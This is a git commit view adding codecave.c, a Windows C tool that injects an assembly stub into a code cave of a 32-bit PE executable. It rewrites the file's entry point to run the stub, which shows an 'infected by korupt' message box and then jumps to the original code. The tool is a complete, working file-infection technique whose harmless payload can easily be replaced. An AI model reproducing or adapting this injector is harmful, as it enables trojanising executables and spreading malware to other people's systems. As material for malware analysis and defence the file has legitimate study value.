aboutsummaryrefslogtreecommitdiff
path: root/source/tools/old/codecave.c
diff options
context:
space:
mode:
authorToni Uhlig <matzeton@googlemail.com>2020-05-24 16:48:22 +0200
committerToni Uhlig <matzeton@googlemail.com>2020-05-25 21:57:14 +0200
commit31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c (patch)
tree16e789c7d68608831b498f41f54d9482b82a711a /source/tools/old/codecave.c
first public release
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
Diffstat (limited to 'source/tools/old/codecave.c')
-rw-r--r--source/tools/old/codecave.c253
1 files changed, 253 insertions, 0 deletions
diff --git a/source/tools/old/codecave.c b/source/tools/old/codecave.c
new file mode 100644
index 0000000..e921932
--- /dev/null
+++ b/source/tools/old/codecave.c
@@ -0,0 +1,253 @@
+#include <windows.h>
+#include <stdio.h>
+
+// fucking gcc wont let us use __declspec(naked)
+// so we have to fudge around this with assembler hacks
+void realStubStart();
+void realStubEnd();
+
+
+void StubStart()
+{
+
+ __asm__(
+ ".intel_syntax noprefix\n" // att syntax sucks
+ ".globl _realStubStart\n"
+ "_realStubStart:\n\t" // _realStubStart is global --^
+
+ "pusha\n\t" // preserve our thread context
+ "call GetBasePointer\n"
+ "GetBasePointer:\n\t"
+ "pop ebp\n\t"
+ "sub ebp, offset GetBasePointer\n\t" // delta offset trick. Think relative...
+
+ "push 0\n\t"
+ "lea eax, [ebp+szTitle]\n\t"
+ "push eax\n\t"
+ "lea eax, [ebp+szText]\n\t"
+ "push eax\n\t"
+ "push 0\n\t"
+ "mov eax, 0xCCCCCCCC\n\t"
+ "call eax\n\t"
+
+ "popa\n\t" // restore our thread context
+ "push 0xCCCCCCCC\n\t" // push address of orignal entrypoint(place holder)
+ "ret\n" // retn used as jmp
+
+ // i dont know about you but i like GCC;'s method of strings
+ // over MSVC :P
+ "szTitle: .string \"o hi\"\n"
+ "szText: .string \"infected by korupt\"\n"
+
+ ".globl _realStubEnd\n"
+ "_realStubEnd:\n\t"
+
+ ".att_syntax\n" // fix so the rest of gcc doesnt burp
+ );
+}
+
+// By Napalm
+DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
+{
+ WORD wSections;
+ PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
+ for (wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++)
+ {
+ if (dwFileAddr >= lpSecHdr->PointerToRawData)
+ {
+ if (dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData))
+ {
+ dwFileAddr -= lpSecHdr->PointerToRawData;
+ dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
+ return dwFileAddr;
+ }
+ }
+
+ lpSecHdr++;
+ }
+
+ return 0;
+}
+
+int main(int argc, char* argv[])
+{
+ PIMAGE_DOS_HEADER pDosHeader;
+ PIMAGE_NT_HEADERS pNtHeaders;
+ PIMAGE_SECTION_HEADER pSection, pSectionHeader;
+ HANDLE hFile, hFileMap;
+ HMODULE hUser32;
+ LPBYTE hMap;
+
+ int i = 0, charcounter = 0;
+ DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
+ unsigned char *stub;
+
+ // work out stub size
+ DWORD start = (DWORD)realStubStart;
+ DWORD end = (DWORD)realStubEnd;
+ DWORD stubLength = (end - start);
+
+ if (argc != 2)
+ {
+ printf("Usage: %s [file]\n", argv[0]);
+ return 0;
+ }
+
+ // map file
+ hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
+ NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (hFile == INVALID_HANDLE_VALUE)
+ {
+ printf("[-] Cannot open %s\n", argv[1]);
+ return 0;
+ }
+
+ fsize = GetFileSize(hFile, 0);
+ if (!fsize)
+ {
+ printf("[-] Could not get files size\n");
+ CloseHandle(hFile);
+ return 0;
+ }
+
+ hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
+ if (!hFileMap)
+ {
+ printf("[-] CreateFileMapping failed\n");
+ CloseHandle(hFile);
+ return 0;
+ }
+
+ hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
+ if (!hMap)
+ {
+ printf("[-] MapViewOfFile failed\n");
+ CloseHandle(hFileMap);
+ CloseHandle(hFile);
+ return 0;
+ }
+
+ // check signatures
+ pDosHeader = (PIMAGE_DOS_HEADER)hMap;
+ if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
+ {
+ printf("[-] DOS signature not found\n");
+ goto cleanup;
+ }
+
+ pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
+ if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
+ {
+ printf("[-] NT signature not found\n");
+ goto cleanup;
+ }
+
+
+ // korupt you need to tdo this more often fuck argh
+ if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386)
+ {
+ printf("[-] Not an i386 executable\n");
+ goto cleanup;
+ }
+
+ // get last section's header...
+ pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
+ pSection = pSectionHeader;
+ pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
+
+ // save entrypoint
+ oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
+ oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
+
+ // locate free space
+ i = pSection->PointerToRawData;
+ for (; i != fsize; i++)
+ {
+ if ((BYTE)hMap[i] == 0x00)
+ {
+ if (charcounter++ == stubLength + 24)
+ {
+ printf("[+] Code cave located @ 0x%08X\n", i);
+ writeOffset = i;
+ }
+ }
+ else charcounter = 0;
+ }
+
+ if (charcounter == 0 || writeOffset == 0)
+ {
+ printf("[-] Could not locate a big enough code cave\n");
+ goto cleanup;
+ }
+
+ writeOffset -= stubLength;
+
+ stub = (unsigned char *)malloc(stubLength + 1);
+ if (!stub)
+ {
+ printf("[-] Error allocating sufficent memory for code\n");
+ goto cleanup;
+ }
+
+ // copy stub into a buffer
+ memcpy(stub, realStubStart, stubLength);
+
+ // locate offsets of place holders in code
+ for (i = 0, charcounter = 0; i != stubLength; i++)
+ {
+ if (stub[i] == 0xCC)
+ {
+ charcounter++;
+ if (charcounter == 4 && callOffset == 0)
+ callOffset = i - 3;
+ else if (charcounter == 4 && oepOffset == 0)
+ oepOffset = i - 3;
+ }
+ else charcounter = 0;
+ }
+
+ // check they're valid
+ if (oepOffset == 0 || callOffset == 0)
+ {
+ free(stub);
+ goto cleanup;
+ }
+
+ hUser32 = LoadLibrary("User32.dll");
+ if (!hUser32)
+ {
+ free(stub);
+ printf("[-] Could not load User32.dll");
+ goto cleanup;
+ }
+
+ // fill in place holders
+ *(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
+ *(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
+ FreeLibrary(hUser32);
+
+ // write stub
+ memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
+
+ // set entrypoint
+ pNtHeaders->OptionalHeader.AddressOfEntryPoint =
+ FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
+
+ // set section size
+ pSection->Misc.VirtualSize += stubLength;
+ pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
+
+ // cleanup
+ printf("[+] Stub written!!\n[*] Cleaning up\n");
+ free(stub);
+
+cleanup:
+ FlushViewOfFile(hMap, 0);
+ UnmapViewOfFile(hMap);
+
+ SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
+ SetEndOfFile(hFile);
+ CloseHandle(hFileMap);
+ CloseHandle(hFile);
+ return 0;
+}